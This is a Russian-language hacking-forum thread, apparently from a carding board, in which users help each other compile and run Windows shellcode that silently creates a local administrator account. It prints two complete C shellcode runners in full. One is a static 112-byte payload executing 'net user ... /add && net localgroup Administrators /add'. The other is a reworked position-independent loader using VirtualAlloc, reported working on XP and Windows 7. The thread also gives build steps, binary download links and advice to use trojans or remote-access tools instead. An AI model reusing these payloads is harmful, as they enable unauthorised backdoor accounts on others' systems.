Как пользоваться shellcode 'ом?

necro

VIP member
Messages
425
Reputation
137
Reaction score
214
Points
43
Имееться такое чудное творение
# Title : win32/PerfectXp-pc1/sp3 (Tr) Add Admin Shellcode 112 bytes
# Author : KaHPeSeSe
# Screenshot : http://i53.tinypic.com/289yamq.jpg
# Desc. : usr: kpss , pass: 12345 , localgroup: Administrator
# Tested on : PERFECT XP PC1 / SP3
# Date : 18/07/2011
# Not : a.q kpss :((

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){

unsigned char shellcode[]=
"\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4e\x53\xbb\x0d\x25\x86\x7c"
"\xff\xd3\x31\xc0\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"
"\x65\x72\x20\x6b\x70\x73\x73\x20\x31\x32\x33\x34\x35\x20\x2f\x61\x64"
"\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f"
"\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73"
"\x20\x2f\x61\x64\x64\x20\x6b\x70\x73\x73";

printf("Size = %d bytes\n", strlen(shellcode));

((void (*)())shellcode)();



return 0;
}

289yamq.jpg


На скрине видно что шелл создает пользователя kpss у которого есть админ права. Может кто покажет на пальцах как заюзать этот шелл?

В гугл прошу не отправлят, перечатал десяток статей, в голове вообше настал калапс. Нужна помошь понимаюшего.
 

Passion

VIP member
Messages
562
Reputation
92
Reaction score
124
Points
43
Это только часть от всего,

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

Нужны еще вот эти файлы. И на скрине не видно куда он подключается, может он к своей же машине и подключился. К файлу обращается .exe, получается он должен быть запущен уже на другой машине. В общем, миф это все без этих файлов, троя проще закинь который поднимет админа через фтп, тимку собери или радмина, так будет легче. Могу конечно и ошибаться.
 
Last edited:

DreadGT

Carder
Messages
72
Reputation
10
Reaction score
13
Points
8
Это исходник, который надо компилить, на скрине да же видно sh.c. Кто не догадался, это си, инклуды, которые нужны, входят по умолчанию в компилятор, но мне кажется код там подпорчен, кто соберет, отпишите :)
 

ViDoG

Professional
Messages
130
Reputation
28
Reaction score
39
Points
28
Code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
  
int main(){
     
    unsigned char shellcode[]=
    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4e\x53\xbb\x0d\x25\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
    "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"
    "\x65\x72\x20\x6b\x70\x73\x73\x20\x31\x32\x33\x34\x35\x20\x2f\x61\x64"
    "\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f"
    "\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73"
    "\x20\x2f\x61\x64\x64\x20\x6b\x70\x73\x73";
  
    printf("Size = %d bytes\n", strlen(shellcode));
  
    ((void (*)())shellcode)();
     
     
  
    return 0;
}
этот код сохраняешь как файл sh.c, далее открываешь его C-компилятором (например CodeBlocks) и билдишь. На выходе получаешь sh.exe.

DreadGT, я собрал.
 
  • Like
Reactions: necro

    necro

    Points: 1
    No comments

DreadGT

Carder
Messages
72
Reputation
10
Reaction score
13
Points
8
ViDoG, а ты проверял на работоспособность? Я имел ввиду шел код мб подпорчен)
 

ViDoG

Professional
Messages
130
Reputation
28
Reaction score
39
Points
28
DreadGT, у меня на виртуалке пользователь не добавился, но файл сработал. И shellcode вроде правильный, выполняет:
Code:
cmd.exe /c net user kpss 12345 /add && net localgroup Administrators /add kpss
 

necro

VIP member
Messages
425
Reputation
137
Reaction score
214
Points
43
ee5d762df4073524902645141fa41049.jpg

69c457930edba8055fe5f8b1c1ba515a.jpg

Чета походу криво я его скомпилил. Двумя разными компиляторами пробывал и не хочет работать (((
ViDoG, скинь свой sh.exe
 

ViDoG

Professional
Messages
130
Reputation
28
Reaction score
39
Points
28
http://upwap.ru/3065137

У тебя наверное неправильный shellcode в исходнике, потому что вместо 112 байт у тебя 130. Там не должно быть пробелов, скопируй код из моего предыдущего сообщения.
 

DreadGT

Carder
Messages
72
Reputation
10
Reaction score
13
Points
8
ViDoG, у меня твой ехе показывает cmd 112 байт и краш, отправить репорт об ошибке или нет микрософту типо)) Что на виртуалке, что на реал системе в обеих краш...
 

ViDoG

Professional
Messages
130
Reputation
28
Reaction score
39
Points
28
Вот пошаманил немного :)
Code:
#include <stdio.h>
#include <windows.h>

int main(){

  unsigned char shellcode[]=
    "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
    "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
    "\xFF\xD2\x6A\x05\xEB\x23\xFF\xD0\x68\x65"
    "\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68"
    "\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54"
    "\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x57\xFF"
    "\xD0\xE8\xD8\xFF\xFF\xFF\x63\x6D\x64\x2E"
    "\x65\x78\x65\x20\x2F\x63\x20\x6E\x65\x74"
    "\x20\x75\x73\x65\x72\x20\x63\x70\x72\x6F"
    "\x20\x63\x70\x72\x6F\x20\x2F\x61\x64\x64"
    "\x20\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F"
    "\x63\x61\x6C\x67\x72\x6F\x75\x70\x20\x61"
    "\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74"
    "\x6F\x72\x73\x20\x63\x70\x72\x6F\x20\x2F"
    "\x61\x64\x64\x00";

  LPVOID shAlloc;
  void (*sfunc)();

  printf("Size = %d bytes\n", strlen(shellcode));

  shAlloc = VirtualAlloc(0, 4096,
                         MEM_COMMIT,
                         PAGE_EXECUTE_READWRITE);

  if(shAlloc == NULL){
    printf("Memory not allocated!\n");
    return 0;
  }

  memcpy(shAlloc, shellcode, strlen(shellcode));

  sfunc = shAlloc;

  sfunc();

  return 0;

}
http://upwap.ru/3066708
Создает пользователя cpro с паролем cpro. Проверил на WinXP и Win7, работает :)
 

necro

VIP member
Messages
425
Reputation
137
Reaction score
214
Points
43
ViDoG, + за старания. Но "Access denied". Работает только под админ правами((
 
Last edited:

DreadGT

Carder
Messages
72
Reputation
10
Reaction score
13
Points
8
ViDoG, код шелла точ в точ и несколько букв поменяно) exploit-db.com/download/17323/
P.S. Покурил гугл, почему же не робит код, если коротко, то с каждым обновлением библиотек OEP меняется (патчи, сервис паки т.д.), т.е. это статичный шелл заточенный под определенную версию вызываемой библиотеки, а ViDoG выложил динамичный, который при каждом запуске сам ищет OEP в нужной библиотеке, потому он всегда будет работать при наличии нужной библиотеки:)
 
Top